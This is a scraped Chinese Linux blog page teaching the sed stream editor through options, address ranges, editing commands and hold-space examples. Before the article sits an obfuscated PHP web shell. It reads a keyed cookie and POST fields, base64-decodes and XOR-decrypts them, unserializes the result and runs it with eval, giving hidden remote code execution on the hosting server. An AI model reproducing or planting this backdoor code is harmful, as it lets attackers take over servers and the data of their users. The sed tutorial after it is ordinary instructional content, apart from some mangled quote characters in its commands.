$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 行编辑器sed的应用 | Linux运维部落

行编辑器sed的应用

sed

sed:Stream EDitor,行编辑器

sed是一种流编辑器,它一次处理一行内容,处理时,把当前处理的行存储在临时缓冲区中,

称为“模式空间”(pattern space),接着用sed命令处理缓冲区中的内容,处理完成后,

把缓冲区的内容送往屏幕。接着处理下一行,这样不断重复,直到文件末尾。文件内容并没

有改变,除非你使用重定向存储输出。

sed主要用来自动编辑一个或多个文件,简化对文件的反复操作,编写转换程序等

选项:

-n:不输出模式空间中的内容至屏幕;理解为仅显示处理过的结果,禁用默认输出

-e:多点编辑

-f /path/to/script_file:从指定文件中读取编辑脚本

-r:支持使用正则表达式

-i:直接编辑原文件

sed使用格式为地址命令

地址定界:

  1. 不给定任何地址或空地址,对全文进行处理

  2. 单地址;

       #:指定地#行

     pattern:被此模式模式所匹配的每一行

3.地址范围:

#,#:起始行到结束行

#,+#:例如3,+8==>从第3行开始,向下8行,包含第3行,共计9行

#,/pattern/:从第#行开始,到第一次能够被模式匹配的行结束

/pattern1/,/pattern2/:从第一次能够被模式1匹配的行开始,到第一个能够被模式2所匹配的行结束

/是固定的模式符号,必须要带

4.~:步进

1~2奇数行

2~2:偶数行

编辑命令:

d:删除模式空间匹配的行

p:显示模式空间中的内容

a\text:在行后面追加文本text;支持使用\n实现多行追加

i\text:在行前面插入文件text;支持使用\n实现多行插入

c\text:替换为点行或多行文本

w /path/to/somefile:保存模式匹配的行至指定文件

r /path/form/somefile :读取指定文件的文本至模式空间匹配的行后

=:为模式空间中的行打印行号

!:模式空间中匹配行取反处理,条件取反,   (取反!要放在命令之前)例如“!d”

                                           地址定界!编辑命令==>!位置

命令应用实例操作

[root@localhost ~]# cat test
1
2
3
4
5
6
7
8
9
10
[root@localhost ~]# sed '1,5d'  test
6       
7                                    ===>1,5为地址表示从第一行到第五行,d命令是删除匹配的行
8                                        所以,结果是只显示文件的6到10行
9
10
[root@localhost ~]#
[root@localhost ~]# sed '1,5p'  test
1
1                             ===>因为模式空间中的内容默认会显示,p命令显示模式空间匹配的内容
2                                 模式空间匹配的是1至5行,默认会显示1至10行,所以最终显示如下结果                     
3                                 
3                                 
4
4
5
5
6
7
8
9
10
[root@localhost ~]# sed -n '1,5p'  test
1
2                               ===>-n选项不输出模式空间中的内容至屏幕,相当于禁用了默认显示的功能,
3                                    所以只显示了p命令匹配的1至5行
4
5
[root@localhost ~]#
[root@localhost ~]# sed '1 a\newline' file    ==>在第一行后面追加文本newline
1
newline
2
3
4
5
[root@localhost ~]# sed '1 i\newline' file   ==>在第一行前面插入文本newline
newline
1
2
3
4
5
[root@localhost ~]# sed '1 c\newline' file   ==>第一行替换为文本newline
2
3
4
5
[root@localhost ~]# sed '2,4 w a' file  ==>将第二行到第四行的内容保存至a文件中
1
2
3
4
5
[root@localhost ~]# cat a              ==>a文件内容为file文件第二到第四行
2
3
4
[root@localhost ~]# sed '2r A' file     ==>将A文件内容读取至第二行后面
1
2
ahhahahah
3
4
5
[root@localhost ~]# cat A         
ahhahahah

sed工具

s///:查找替换,支持使用其他分隔符,s@@@,s###

替换标记:

  g:行内全局替换

  p:显示替换成功的行

  w  /path/to/somefile:将替换的行保存至文件中

看下sed实例

1.sed ‘2p’ /etc/passwd

第二行显示两边,其他行默认显示,太长了就没全显示出来了 

blob.png

2.sed –n ‘2p’ /etc/passwd

因为-n选项禁用了模式空间默认输出至屏幕的功能,所以只显示了第二行

blob.png

3.sed –n ‘1,4p’ /etc/passwd

和上面以上,所以只显示1至4行

blob.png

4.sed –n ‘/root/p’ /etc/passwd

只显示包含root的行;

blob.png

5.sed –n ‘2,/root/p’ /etc/passwd  从2 行开始

显示从第二行开始,到第一个匹配到root的行结束之间的行

备注:/root/要从第二行后开始匹配

blob.png

6.sed -n ‘/^$/=’ file  显示空行行号

blob.png

7.sed –n –e ‘/^$/p’ –e ‘/^$/=’ file

仅显示空行和其行号

blob.png

8.sed ‘/root/a\superman’ /etc/passwd 行后

在能够匹配到root的行后面追加superman

blob.png

9.sed ‘/root/i\superman’ /etc/passwd  行前

在能够匹配到root的行前插入Superman

blob.png

10.sed ‘/root/c\superman’ /etc/passwd 

把能够匹配到root的替换成superman

blob.png

11.sed ‘/^$/d’ file

删除空行

blob.png

12.sed ‘1,10d’ file

删除1到10行,因为总共才7行,删光了还不够,所以上面都不显示

blob.png

13.nl /etc/passwd | sed ‘2,5d’

删除了第2到5行

blob.png

14.nl /etc/passwd | sed ‘2a\tea’

在第二行后面追加tea

blob.png

15.sed 's/test/mytest/g' example

将test替换成mytest,g表示全局替换

blob.png

16.sed –n‘s/root/&superman/p’ /etc/passwd  单词后

将root替换成rootsuperman,并只显示匹配到root的行

备注:&代表前面匹配到的root

blob.png

17.sed –n‘s/root/superman&/p’ /etc/passwd  单词前

将root替换成supermanroot,并只显示匹配到root的行

备注:&代表前面匹配到的root

blob.png

18.sed -e ‘s/dog/cat/’ -e ‘s/hi/lo/’ pets

将dog替换成cat,将hi替换成lo,因为-e选项是可以多点编辑的,意思是可以同时编辑多个

blob.png

19.sed –i.bak ‘s/dog/cat/g’ pets

-加上i选项会修改原文件,安全起见,备份原文件为pets.bak

blob.png

高级编辑命令:

h:把模式空间中的内容覆盖至保持空间中

H:把模式空间中的内容追加至保持空间中

g:从保持空间取出数据覆盖至模式空间

G:从保持空间取出内容追加至模式空间

x:把模式空间中的内容与保持空间中的内容进行互换

n:读取匹配到的行的下一行覆盖至模式空间

N:追加匹配到的行的下一行至模式空间

d:删除模式空间中的行

D :删除 当前模式空间开端至\n 的内容(不在传至标准输出),放弃之后的命令,但是对剩余模式空间重新执行sed

还是看看实例好了

  1. sed -n 'n;p' FILE

显示偶数行

理解:读取第一行时,第二行覆盖至模式空间,并显示,然后读取第三行,

      下一行第四行覆盖至模式空间,并显示,如此类推

blob.png

2. sed '1!G;h;$!d' FILE

逆序显示===>所有的命令都是针对模式空间

说明:读取第一行时,1命令不处理,将第一行内容覆盖至保存空间,将模式空间中的第一行删除

      读取第二行时,将保存空间的内容追加至模式空间,此时模式空间里面有第二行第一行,

      然后将此时模式空间的内容覆盖至保存空间,然后删掉模式空间的第二一行

      读取第三行时,将保存空间的内容追加至模式空间,此时模式空间里面有第三行第二行第一行,

      然后此时模式空间的内容覆盖至保存空间,然后删掉模式空间的第三二一行

      读取第四(最后)行时,将保存空间的内容追加至模式空间,此时模式空间里面有第四行第三行第二行第一行,

      然后此时模式空间的内容覆盖至保存空间,最后一个命令不处理,模式空间显示内容为第四三二一行

blob.png

3. sed '$!N;$!D' FILE

显示倒数两行

说明:

读取第一行时,将第二行追加至模式空间,然后删除

读取第三行时,将第四行追加至模式空间,然后删除

读取第五行时,将第六(最后)行追加至模式空间,然后显示

blob.png

4.sed '$!d' FILE

显示最后一行

说明:

读取第一行时,删除

读取第二行时,删除

读取第三行时,删除

读取第四行时,删除

读取第五行时,删除

读取第六(最后)行时,显示

blob.png

5. sed ‘G’ FILE

在每一行后面追加空行

说明:

读取第一行时,将保持空间中的空行追加至模式空间,然后显示

读取第二行时,将保持空间中的空行追加至模式空间,然后显示

读取第三行时,将保持空间中的空行追加至模式空间,然后显示

读取第四行时,将保持空间中的空行追加至模式空间,然后显示

读取第五行时,将保持空间中的空行追加至模式空间,然后显示

读取第六行时,将保持空间中的空行追加至模式空间,然后显示

blob.png

6.sed ‘g’ FILE

将每一行替换成空行

说明:

读取第一行时,将保持空间中的空行覆盖至模式空间,然后显示

读取第二行时,将保持空间中的空行覆盖至模式空间,然后显示

读取第三行时,将保持空间中的空行覆盖至模式空间,然后显示

读取第四行时,将保持空间中的空行覆盖至模式空间,然后显示

读取第五行时,将保持空间中的空行覆盖至模式空间,然后显示

读取第六行时,将保持空间中的空行覆盖至模式空间,然后显示

blob.png

7. sed ‘/^$/d;G’ FILE

没搞明白,待研究

blob.png

8.sed 'n;d' FILE

显示奇数行

说明:

读取第一行时,第二行覆盖至模式空间,然后删除

读取第三行时,第四行覆盖至模式空间,然后删除

读取第五行时,第六行覆盖至模式空间,然后删除

blob.png

9.sed -n '1!G;h;$p' FILE

逆序显示

说明:

读取第一行时,1命令不处理,将第一行内容覆盖至保存空间,将模式空间中的第一行不显示

读取第二行时,将保存空间的内容追加至模式空间,此时模式空间里面有第二行第一行,

然后将此时模式空间的内容覆盖至保存空间,然后模式空间的第二一行不显示

读取第三行时,将保存空间的内容追加至模式空间,此时模式空间里面有第三行第二行第一行,

然后此时模式空间的内容覆盖至保存空间,然后模式空间的第三二一行不显示

读取第四(最后)行时,将保存空间的内容追加至模式空间,此时模式空间里面有第四行第三行第二行第一行,

然后此时模式空间的内容覆盖至保存空间,最后一行,模式空间显示内容为第四三二一行

blob.png

原创文章,作者:qiuwei,如若转载,请注明出处:http://www.178linux.com/32090

(0)
上一篇 2016-08-10 13:58
下一篇 2016-08-10 13:59

相关推荐

  • 细节决定成败–空格的巨大作用以及正则表达式中元字符的转义

    字符串的条件判定 1.字符串判定 一定要用双[[ ]] 2.字符串判定=~默认支持扩展正则表达式,这里注意双引号的使用 仅仅做是否包含时,有无双引号无区别。 但是利用其他扩展表达式时 双引号一定要去掉 锚定示例 多条件判定时-o -a使用时,不能使用双中括号 空格有无的差别 !的使用细节 !到目前为止 有两种意义 条件判定取反 历史命令的调用 两者的使用却别…

    2017-03-19
  • 如何删除一个目录下的所有文件,但保留一个指定文件。附一些常用命令

    解答: 假设这个目录是/xx/,里面有file1,file2,file3..file10   十个文件 方法如下: find /date -type f ! -name “file10″|xargs rm -f 另外还有其他的方法比如:rsync命令和bush的 extglob功能等。在此不一一列举。 附常用命令: 文件和目…

    2017-07-15
  • Linux系统文件查找locate和find命令工具使用

    讲到Linux的文件查找,首先大家一般在Windows中有过查找过文件,我们知道window是以文件名结尾来识别文件的,使用一些通配符*.doc,*.txt来检索一类文件,缩小范围,实现快速定位文件,在Linux中,也有文件查找的需要不过实现的方式将更加灵活; 1)locate工具  2)find工具 1.locate Linux中也有像windo…

    Linux干货 2016-08-18
  • 第七周练习

    1、创建一个10G分区,并格式为ext4文件系统;   (1) 要求其block大小为2048, 预留空间百分比为2, 卷标为MYDATA, 默认挂载属性包含acl;   ~]# mke2fs -t ext4 -b 2048 -m 2 -L…

    Linux干货 2016-12-10
  • shell脚本1——test测试

    程序:指令+数据 程序:算法+数据结构 shell脚本编程: 编程的语言分类:根据运行方式     编译运行:源代码——>编译器——>程序文件     解释运行:源代码——>运行时启动解释器,由解释器边解释边执行 根据其编程过程中功能的实现是否调用库还是调用外部…

    Linux干货 2016-08-18
  • bash编程函数select语句的使用

    £select             select循环主要用于创建菜单,按数字顺序排列的菜单项将显示在标准错误上,并显示PS3提示符,等待用户的输入,用户输入菜单列表中的某个数字,执行相应的命令,用户输入被保存在变量REPLY中。 select是个…

    Linux干货 2016-08-24